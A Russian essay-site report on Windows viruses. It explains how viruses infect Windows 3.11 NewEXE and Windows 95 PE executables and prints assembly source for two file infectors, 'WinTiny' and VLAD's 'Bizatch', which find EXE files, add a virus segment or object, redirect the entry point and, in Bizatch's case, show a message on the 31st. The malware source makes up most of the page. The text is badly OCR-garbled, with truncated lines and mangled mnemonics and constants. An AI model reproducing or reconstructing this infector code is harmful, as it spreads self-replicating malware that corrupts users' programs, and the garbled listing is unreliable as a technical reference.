Главная Рефераты по рекламе Рефераты по физике Рефераты по философии Рефераты по финансам Рефераты по химии Рефераты по хозяйственному праву Рефераты по цифровым устройствам Рефераты по экологическому праву Рефераты по экономико-математическому моделированию Рефераты по экономической географии Рефераты по экономической теории Рефераты по этике Рефераты по юриспруденции Рефераты по языковедению Рефераты по юридическим наукам Рефераты по истории Рефераты по компьютерным наукам Рефераты по медицинским наукам Рефераты по финансовым наукам Рефераты по управленческим наукам Психология и педагогика Промышленность производство Биология и химия Языкознание филология Издательское дело и полиграфия Рефераты по краеведению и этнографии Рефераты по религии и мифологии Рефераты по медицине Рефераты по сексологии Рефераты по информатике программированию Краткое содержание произведений |
Доклад: Вирусы под WindowsДоклад: Вирусы под WindowsВИРУСЫ ПОД WINDOWS В этой главе рассказано Вирусы под Windows 3.11 В исполняемом файле Windows содержатся в различных комбинациях Как же заразить Windows NewEXE? На первый взгляд файл формата Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше, Заголовок NewEXE начинается с символов "NE". Далее идет собствен- Итак, порядок действий: 1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8. 2. Заголовок NewEXE сдвигается на 8 байт назад. 3. В таблицу сегментов добавляется новый элемент, описывающий 4. CS:IP NewEXE изменяется на начало вирусного кода, само тело Для загрузки в память (надо перехватить вектор INT 21h из-под В качестве примера приведен полный исходный текст вируса под Windows. .286 .MODEL TINY ;Сохраним регистры и флаги .Проверим, доступен ли DPMI. Если доступен, mov ax,1686h int 2Fh or ax, ax jz dpmi_exist ;Восстановим регистры и флаги pop es pop ds popa popf .Запустим программу-носитель db OEAh ;Выделим линейный блок памяти, используя DPMI ;Сохраним индекс и 32-битный линейный адрес push si ~^ push di push bx push ex ;Создадим дескриптор в таблице LDT ;B поле адреса полученного дескриптора mov bx,ax mov ах,7 pop dx pop ex int •31h ;B поле предела полученного дескриптора mov ах,8 mov dx,OFFFFh хог сх.сх int 31h ;В поле прав доступа полученного дескриптора установим значение, mov ах,9 mov cl, 1111001 Ob хог ch,ch int 31h ;3агрузим селектор в регистр DS. После этого регистр DS будет .Читаем из стека и сохраняем в памяти pop [mem_hnd+2] pop [mem_hnd] Получим текущую DTA ;Найдем первый ЕХЕ-файл (маска *.ЕХЕ) mov dx,OFFSET wild_exe ;Если файл найден, перейдем к заражению, иначе освободим ;0свободим выделенную область памяти .Запустим программу-носитель .Перейдем к следующему файлу - этот не подходит ; Закроем файл ;Найдем следующий файл ;Если файл найден, перейдем к заражению, иначе освободим ;0свободим выделенную область памяти ;3апустим программу-носитель ;Файл найден, проверим его на пригодность к заражению ;0ткроем файл для чтения и записи Ids dx, DWORD PTR [DTA] .Прочтем старый заголовок ;Проверим сигнатуру, это ЕХЕ-файл? [Проверим смещение таблицы настройки адресов. ;Если значение больше 40h, то это не обычный ЕХЕ-файл. ;Не будем сразу делать вывод, ;что это NewEXE, потому^что это может оказаться ;РЕ-, LE-, LX-executable или другой ;(PE-executable описан в разделе, [посвященном Windows 95, остальные ;типы ЕХЕ-файлов в этой книге не рассматриваются) cmp [old_hdr+18h],WORD PTR 40h jb close_exe .Перейдем ко второму заголовку (может быть, это NewEXE?): Переводим указатель к смещению, обозначенному в поле 3Ch mov dx.WORD PTR [old_hdr+3Ch] mov cx.WORD PTR [old_hdr+3Eh] mov ax,4200h int 21h ; Прочитаем второй заголовок [Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл [Проверим, для Windows ли предназначен этот файл. Если да, будем mov al,[new_hdr+36h] and al,2 jz close_exe .Переместим указатель чтения/записи в таблицу сегментов, mov dx.WORD PTR [new_hdr+16h] ;По номеру сегмента вычислим положение соответствующего ему dec dx shi dx,3 ;K результату прибавим смещение таблицы сегментов и смещение add dx,WORD PTR [new_hdr+22h] add dx.WORO PTR [old_hdr+3ch] mov cx.WORD PTR [old_hdr+3eh] [Переместим указатель чтения/записи [Прочтем из таблицы сегментов смещение логического сектора .Вычислим смещение сегмента, опираясь на значения mov dx.WORD PTR [temp] mov cx.WORD PTR [new_hdr+32h] xor ax.ax cal_entry: shi dx,1 rcl ax,1 loop cal_entry .Переместим 16 старших бит 32-битного результата в регистр СХ ;Прибавим к результату смещение стартового адреса (IP) ;Переместим указатель позиции чтения/записи на точку старта mov ax,4200h int 21 h ;Считаем первые 10 байт после старта программы Проверим, заражен ли файл. Если считанные 10 байт в точности mov si.OFFSET temp push cs pop es xor di.di mov ex, 8 eld rep cmpsw jne ok_to_infect jmp close_exe Приступим к заражению Переместим NE-заголовок на 8 байт ближе к началу файла. sub WORD PTR [old_hdr+3ch],8 ; Исправим значения таблиц в новом заголовке, чтобы переместились add WORD PTR [new_hdr+4],8 add WORD PTR [new_hdr+24h],8 add WORD PTR [new_hdr+26h],8 add WORD PTR [new_hdr+28h],8 add WORD PTR [new_hdr+2ah],8 ;Сохраним оригинальные значения точек входа CS и IP pushTWORD PTR [new_hdr+16h] ;Добавим еще один сегмент в таблицу сегментов и установим mov WORD PTR [new_hdr+14h],0 inc WORD PTR [new_hdr+1ch] push WORD PTR [new_hdr+1ch] pop WORD PTR [new_hdr+16h] .Переместим указатель чтения/записи в начало файла хог сх.сх xor dx.dx mov ax,4200h int 21 h ;3апишем старый заголовок, так как модифицированы mov dx.OFFSET old_hdr mov cx,40h mov ah,40h int 21 h ;Переместим указатель чтения/записи на начало нового mov dx.WORD PTR [old_hdr+3ch] mov cx,WORD PTR [old_hdr+3eh] mov ax,4200h ;3апишем новый заголовок, так как в его копии mov dx, OFFSET new_hdr mov cx,40h mov ah,40h int 21h .Переместим указатель чтения/записи на 8 байт хог сх.сх mov dx,8 mov ax,4201 h int 21h рассчитаем размер таблицы сегментов и считаем ее в память Переместим указатель чтения/записи назад, к позиции pop dx push dx add dx,8 neg dx mov cx,-1 mov ax,4201h int 21h ;3апишем таблицу сегментов в файл, но не на ее прежнее место, mov dx,OFFSET temp pop ex mov ah,40h int 21h .Прочтем текущую позицию чтения/записи (конец таблицы сегментов) ;Сохраним в стеке текущую позицию чтения/записи .Получим длину файла, переместив указатель xor сх.сх xor dx,dx mov ax,4202h int 21 h ;Сохраним в стеке длину файла ;Вычислим и сохраним длину логического сектора ;Вычислим длину файла в логических секторах -.Учтем неполный сектор. Если в результате получился or dx,dx jz no_rmd inc ax ;3аполним поля нового элемента в таблице сегментов 3-1436 mov [my_seg_entry+2],OFFSET vir_end mov [my_seg_entry+4],180h mov [my_seg_entry+6],OFFSET vir_end ;Восстановим из стека позицию в файле конца таблицы секторов Переместим указатель чтения/записи к этой позиции .Запишем в конец таблицы новый элемент ;Скопируем тело вируса в область памяти, которую выделили ;в начале программы, для изменений в нем. В защищенном режиме ;(а работаем именно в нем), нельзя производить запись в сегмент ;кода. Если по какой-то причине нужно произвести изменение ;в сегменте кода, создается алиасный дескриптор данных ;(дескриптор, содержащий то же смещение и длину, ;что и сегмент кода), и дальнейшая работа ведется с ним. ;В данном случае просто воспользуемся выделенным блоком памяти push ds pop es push cs pop ds xor si,si mov di,OFFSET temp mov ex,OFFSET vir_end eld rep movsb push es pop ds Инициализируем адрес точки входа Переместим указатель чтения/записи на новую точку входа mov ax,[my_seg_entry] mov cx,[log_sec_len] mul ex mov cx.dx mov dx.ax mov ax,4200h int 21h ;3апишем тело вируса в файл mov dx, OFFSET temp mov ex,OFFSET vir_end mov ah,40h int 21h .Инициализируем поля перемещаемого элемента ;3апишем перемещаемый элемент [Закроем файл .Освободим выделенный блок памяти ;3апустим программу-носитель .Процедура, освобождающая выделенный блок памяти mov ax,0502h mov si,[mem_hnd] mov di,[mem_hnd+2] з* int 31 h ; Маска для поиска файлов ;Имя вируса DB "WinTiny" ;Идентификатор, указывающий на конец инициализированных данных .Индекс выделенного блока памяти ;Адрес текущей DTA ;Место для хранения старого заголовка .Место для хранения нового заголовка ;Длина логического номера сектора ; Новый элемент в таблице сегментов DW ? DW ? DW ? .Перемещаемый элемент DB ? DB ? DW? ;3начение оригинальной точки входа ;0бласть памяти для использования Вирусы под Windows 95 Формат Portable Executable используется Win32, Windows NT вызов Windows 95 API Обычные приложения вызывают Windows 95 API (Application Program Эта проблема решается непосредственным вызовом KERNEL32. То есть Чтобы получить описатель (Handle) DLL/EXE, можно использовать Как вызывать API, имея возможность вызывать его и в то же время та- Вызов API приложениями выглядит приблизительно так: call APLFUNCTIONJMAME call CreateFileA db 9Ah .инструкция call Код в таблице переходов похож на такой: jmp far [offset into import table] Смещение в таблице импортируемых имен содержит адрес диспетчера push function value Зная точки входа, можно вызывать их напрямую, минуя таблицу этого Модуль KERNEL32 располагается в памяти статически - именно так Адреса и номера функций Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для Таблица 3.1. Адреса некоторых функций KERNEL
Соглашения о вызовах Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя FARPROC GetProcAddress( HMODULE hModule, // описатель DLL-модуля ); На первый взгляд кажется, что достаточно лишь сохранить в стеке опи- push offset IpszProc push dword ptr [hModule] call GetProcAddress Используя 32-битный отладчик, можно оттрассировать вызов и найти Заражение файлов формата PE-executable Определение положения начала РЕ-заголовка происходит аналогично Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее Основные действия заражения PE-executable файла: 1. Найти смещение заголовка PE-executable в файле. 2. Считать достаточное количество информации из заголовка для 3. Считать весь РЕ-заголовок и таблицу объектов. 4. Добавить новый объект в таблицу объектов. 5. Установить точку входа RVA на новый объект. 6. Дописать вирус к файлу по вычисленному физическому смещению. 7. Записать измененный РЕ-заголовок в файл. Для чтения таблицы объектов необходимо считать HeaderSize байт Таблица объектов расположена непосредственно за NT-заголовком. Зна- Добавление объекта: получив количество объектов, умножить его на 40 Данные для элемента таблицы объектов должны быть вычислены с исполь- RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1) *OBJ Alignment Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1) *OBJ Alignment Physical Size=(size of virus/File Alignment+1 )*File Alignment Physical Offset=prev Physical Offset+prev Physical Size Object Flags=db 40h,0,O.COh Entrypoint RVA=RVA Теперь необходимо увеличить на единицу поле "количество объектов" Пример вируса под Windows 95 .386 locals jumps .model flat.STDCALL include win32.inc некоторые 32-битные константы и структуры L equ <LARGE> ;0пределим внешние функции, к которым будет подключаться вирус ;Для поддержки Unicode Win32 интерпретирует некоторые функции ;для ANSI или расширенного набора символов. ;В качестве примера рассмотрим ANSI CreateWindowEx equ <CreateWindowExA> DefWindowProc equ <DefWindowProcA> DispatchMessage equ <DispatchMessageA> FindWindow equ <FindWindowA> GetMessage equ <GetMessageA> GetModuleHandle equ <GetModuleHandleA> LoadCursor equ <LoadCursorA> Loadlcon equ <LoadlconA> MessageBox equ <MessageBoxA> RegisterClass equ <RegisterClassA> TextOut equ <TextOutA> •data newhwnd dd 0 Ippaint PAINTSTRUCT <?> msg MSGSTRUCT <?> we WNDCLASS <?> mbx_count dd 0 hinst dd 0 szTitleName db "Bizatch by Quantum / VLAD activated" zero db 0 szAlternate db "more than once",0 szClassName db "ASMCLASS32",0 [Сообщение, выводимое в окне .Размер сообщения MSG_L EQU ($-offset szPaint)--! .code ;Сюда обычно передается управление от загрузчика. .Получим HMODULE call GetModuleHandle push offset szClassName .Пространство для модификации строки заголовка mov [zero]," " ;Инициализируем структуру WndClass mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS mov [wc.clsLpfnWndProc],offset WndProc mov [wc.clsCbClsExtra],0 mov [wc.clsCbWndExtra],0 mov eax,[hlnst] mov [wc.clsHlnstance], eax [Загружаем значок push L IDLAPPLICATION ; Загружаем курсор push L IDC.ARROW push L 0 call LoadCursor mov [wc.clsHCursor], eax .Инициализируем оставшиеся поля структуры WndClass ;Регистрируем класс окна ; Создаем окно push L 0 .IpParam .Сохраняем HWND mov [newhwnd], eax .Отображаем окно на экране ;0бновляем содержимое окна ;0чередь сообщений .Прочитаем следующее сообщение из очереди ;Если функция GetMessage вернула нулевое значение, то завершаем стр ах.0 je endJoop Преобразуем виртуальные коды клавиш в сообщения клавиатуры Передаем это сообщение назад в Windows [Переходим к следующему сообщению ;Выход из процесса push [msg.msWPARAM] call ExitProcess .Обработка сообщений окна. Win32 требует сохранения регистров ;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос". [Проверим, какое сообщение получили, и перейдем к обработке стр [wmsg],WM_RBUTTONDOWN cmp [wmsg].WM_CREATE cmp [wmsg],WM_LBUTTONDOWN je wmlbuttondown cmp [wmsg],WM_PAINT je wm paint cmp [wmsg],WM_GETMINMAXINFO je wmgetminmaxinfo Данная программа не обрабатывает это сообщение. .Сообщение WM_PAINT (перерисовать содержимое окна) Подготовим окно для перерисовки ;Переведем в ASCII-формат значение mbx_count, которое mov eax,[mbx_count] mov edi, offset s_num call HexWrite32 ; Вывод строки в окно push L MSG_L ;Длина строки push offset szPaint ;Строка push L 5 ;Y push L 5 ;X push [theDC] ;DC ;0бозначим завершение перерисовки окна ; Выходим из обработки сообщения ;Сообщение WM_CREATE (создание окна) ; Выходим из обработки сообщения [Сообщение, не обрабатываемое данной программой, передаем Windows push [Iparam] push [wparam] push [wmsg] push [hwnd] call DefWindowProc [Выходим из обработки сообщения [Сообщение WM_DESTROY (уничтожение окна) [Закроем поток [Выходим из обработки сообщения .Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши) inc [mbx_count] [Обновим содержимое окна [Выходим из обработки сообщения [Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши) wmrbuttondown: push L 0 ; Выход им из обработки сообщения ;Сообщение WM_SIZE (изменен размер окна) [Выходим из обработки сообщения [Сообщение WM_GETMINMAXINFO (попытка изменить размер [Заполним структуру MINMAXINFO mov [(MINMAXINFO ptr ebx).mintrackposition_x],350 .Выходим из обработки сообщения [Выходим из обработки сообщения ret Процедура перевода байта в ASCII-формат для печати. Значение, ; Разделяем байт на полубайты и загружаем их в регистры АН и AL [Добавляем 30h к каждому полубайту, чтобы регистры содержали коды ;записанное в полубайте, было больше 9, .Меняем полубайты местами, чтобы регистр АН содержал младший ;Проверим. надо ли корректировать младший полубайт, cmp ah, 39h ja @@4 [Проверим, надо ли корректировать старший полубайт, cmp al,39h ja @@3 ;Сохраним значение по адресу ES:EDI stosw ret .Корректируем значение старшего полубайта sub al, 30h add al, "A"-10 jmp @@2 [Корректируем значение младшего полубайта sub ah, 30h add ah, "A"-10 jmp @@1 [Процедура перевода слова в ASCII-формат для печати. ;Сохраним младший байт из стека ;3агрузим старший байт в регистр А1_ .Переведем старший байт в ASCII-формат ; Восстановим младший байт из стека Переведем младший байт в ASCII-формат call HexWrite8 ret Процедура перевода двойного слова в ASCII-формат для печати. .Сохраним младшее слово из стека ; Загрузим старшее слово в регистр АХ [Переведем старшее слово в ASCII-формат [Восстановим младшее слово из стека [Переведем младшее слово в ASCII-формат call HexWrite-16 ret [Сделаем процедуру WndProc доступной извне [Здесь начинается код вируса. Этот код переписывается из файла assume cs:vladseg ;Вычислим текущий адрес call recalc pop ebp mov eax.ebp db 2Dh ;Код команды SUB AX ;Сохраним адрес в стеке [Вычислим стартовый адрес вирусного кода .Ищем KERNEL. Возьмем вторую известную нам точку KERNEL Проверим ключ. Если ключа нет, перейдем к точке 1 ;KERNEL найден, точка 2 mov eax,[ebp+offset kern2] ;Точка 2 не подошла, проверим точку 1 ;Возьмем адрес первой известной нам точки KERNEL Проверим ключ, если ключа нет - выходим ;KERNEL найден, точка 1 mov eax,[ebp+offset kern1] ;KERNEL найден, адрес точки входа находится в регистре EAX .Сохраним адрес KERNEL ;3апомним текущую директорию ; Инициализируем счетчик заражений mov byte ptr [ebp+offset countinfect],0 ;Ищем первый файл lea eax, [ebp+offset win32_data_thang] push eax lea eax, [ebp+offset fname] push eax call FindFile ;Сохраним индекс для поиска mov dword ptr [ebp+offset searchhandle],eax .Проверим, найден ли файл. Если файл не найден, стр еах,-1 jz foundnothing [Откроем файл для чтения и записи push О push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL push 3 ;OPEN_EXISTING push 0 push 0 push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE lea eax, [ebp+offset fullname] push eax call CreateFile .Сохраним описатель файла mov dword ptr [ebp+offset ahandj.eax Проверим, не произошла ли ошибка. стр еах,-1 jz findnextone .Поставим указатель позиции чтения/записи на поле push О push О push 3Ch push dword ptr [ebp+offset ahand] call SetFilePointer ;Считаем адрес РЕ-заголовка lea eax,[ebp+offset bytesread] lea eax,[ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] .Поставим указатель позиции чтения/записи на начало РЕ-заголовка push dword ptr [ebp+offset peheaderoffset] ;Считаем число байт, достаточное для вычисления полного размера push О lea eax, [ebp+offset bytesread] push eax push 58h lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call ReadFile [Проверим сигнатуру. Если ее нет, закрываем cmp dword ptr [ebp+offset peheader],00004550h; jnz notape .Проверим файл на зараженность. Если файл заражен, cmp word ptr [ebp+offset peheader+4ch],OFOODh jz notape cmp dword ptr [ebp+offset 52],4000000h jz notape [Поставим указатель позиции чтения/записи на начало РЕ-заголовка push dword ptr [ebp+offset peheaderoffset] ;Считаем весь РЕ-заголовок и таблицу объектов lea eax, [ebp+offset bytesread] push dword ptr [ebp+offset headersize] push dword ptr [ebp+offset ahand] [Установим признак заражения mov word ptr [ebp+offset peheader+4ch],OFOODh [Найдем смещение таблицы объектов mov ax, word ptr [ebp+offset NtHeaderSize] [Вычислим смещение последнего (null) объекта в таблице объектов mov ax,[ebp+offset numObj] xor edx.edx mul ecx add esi.eax ;Увеличим число объектов на 1 inc word ptr [ebp+offset numObj] lea edi,[ebp+offset newobject] xchg edi.esi ;Вычислим относительный виртуальный адрес (Relative Virtual Address mov eax, [edi-5*8+8] add eax,[edi-5*8+12] mov ecx.dword ptr [ebp+offset objalign] xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset RVA],eax ;Вычислим физический размер нового объекта .Вычислим виртуальный размер нового объекта ; Вычислим физическое смещение нового объекта inc eax mul ecx mov dword ptr [ebp+offset physicaloffset],eax [Обновим размер образа (размер в памяти) файла mov eax,vend-vstart+1000h add eax,dword ptr [ebp+offset imagesize] mov ecx, [ebp+offset objalign] xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset imagesize],eax .Скопируем новый объект в таблицу объектов mov ecx, 10 rep movsd [Вычислим точку входа RVA mov eax.dword ptr [ebp+offset RVA] mov ebx.dword ptr [ebp+offset entrypointRVA] mov dword ptr [ebp+offset entrypointRVA],eax sub eax.ebx add eax,5 [Установим значение, необходимое для возврата в носитель [Поставим указатель позиции чтения/записи на начало РЕ-заголовка push dword ptr [ebp+offset peheaderoffset] [Запишем РЕ-заголовок и таблицу объектов в файл lea eax, [ebp+offset bytesread] push dword ptr [ebp+offset headersize] push dword ptr [ebp+offset ahand] [Увеличим счетчик заражений inc byte ptr [ebp+offset countinfect] [Поставим указатель позиции чтения/записи push О push О push dword ptr [ebp+offset physicaloffset] push dword ptr [ebp+offset ahand] call SetFilePointer ;3апишем тело вируса в новый объект lea eax,[ebp+offset bytesread] push vend-vstart push dword ptr [ebp+offset ahand] [Закроем файл push dword ptr [ebp+offset ahand] call CloseFile [Переход к следующему файлу [Проверим, сколько файлов заразили: если 3, cmp byte ptr [ebp+offset countinfect],3 jz outty ;Ищем следующий файл lea eax, [ebp+offset win32_data_thang] push dword ptr [ebp+offset searchhandle] .Если файл найден, переходим к заражению ;Сюда попадаем, если файл не найден ;Сменим директорию lea edi,[ebp+offset tempdir] lea edi,[ebp+offset tempdirl] Получим текущую директорию .Сменим директорию на "." lea eax,[ebp+offset dotdot] push eax call SetCurDir ;Получим текущую директорию Проверим, корневая ли это директория. Если да, то выходим ;"3аметаем следы" и выходим в программу-носитель ;Возвратимся в оригинальную текущую директорию Получим текущую дату и время lea eax,[ebp+offset systimestruct] push eax Проверим число. Если это 31-ое, выдаем сообщение .Сообщение для пользователя push 1000h ;MB_SYSTEMMODAL lea eax, [ebp+offset boxtitle] push eax lea eax, [ebp+offset boxmsg] push eax push 0 call MsgBox ; Выход в программу-носитель pop eax jmp eax ;Когда KERNEL будет обнаружен, его смещение будет записано ;3начения KERNEL, известные нам ;Чтение текущей директории ;3апишем в стек значение для получения текущей push OBFF77744h jmp [ebp+offset kern] .Установка текущей директории ;3апишем в стек значение для установки текущей push OBFF7771Dh jmp [ebp+offset kern] [Получение времени и даты Проверим, какой KERNEL работает ;3апишем в стек значение для получения push OBFF9DOB6h jmp [ebp+offset kern] ;3апишем в стек значение для получения push OBFF9D-l4Eh jmp [ebp+offset kern] ;Вывод сообщения .Запишем в стек значение для вывода сообщения и вызовем KERNEL .Поиск первого файла ;3апишем в стек значение для поиска первого файла push OBFF77893h jmp [ebp+offset kern] ; Поиск следующего файла ;3апишем в стек значение для поиска push OBFF778CBh jmp [ebp+offset kern] [Открытие/создание файла ;3апишем в стек значение для открытия/создания файла push OBFF77817h jmp [ebp+offset kern] [Установка указателя чтения/записи ;3апишем в стек значение для установки push OBFF76FAOh jmp [ebp+offset kern] ;Чтение из файла ;3апишем в стек значение для чтения из файла и вызовем KERNEL ;3апись в файл ;3апишем в стек значение для записи в файл и вызовем KERNEL ;3акрытие файла ;3апишем в стек значение для закрытия файла и вызовем KERNEL ;Счетчик заражений Используется для поиска файлов fileattr dd 0 resv dd 0,0 fullname db 256 dup (0) realname db 256 dup (0) ;Имя сообщения, выводимого 31-го числа .-Сообщение, выводимое 31-го числа db "VLAD Australia does it again with the world"s first Win95 Virus" db Odh.Odh db 9."From the old school to the new. ".Odh.Odh db 9,"Metabolis",Odh db 9,"Qark",Odh db 9,"Darkman",Odh db 9,"Quantum",Odh db 9,"CoKe",0 db "written by Quantum of VLAD",0 Данные о директориях Используется для смены директории Используется для получения времени/даты dw 0,0,0 dw 0,0,0,0 ;Индекс для поиска файлов ;Маска для поиска ; Описатель открытого файла ;Смещение РЕ-заголовка в файле [Смещение таблицы объектов [Количество записанных/считанных байт при работе с файлом .Новый объект oname db ".vlad",0,0,0 physicalsize dd 0 Данные, необходимые для заражения файла signature dd 0 ;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов db -lOOOh dup (0) |
|||||||||||||||||||||||||||||||||||||
|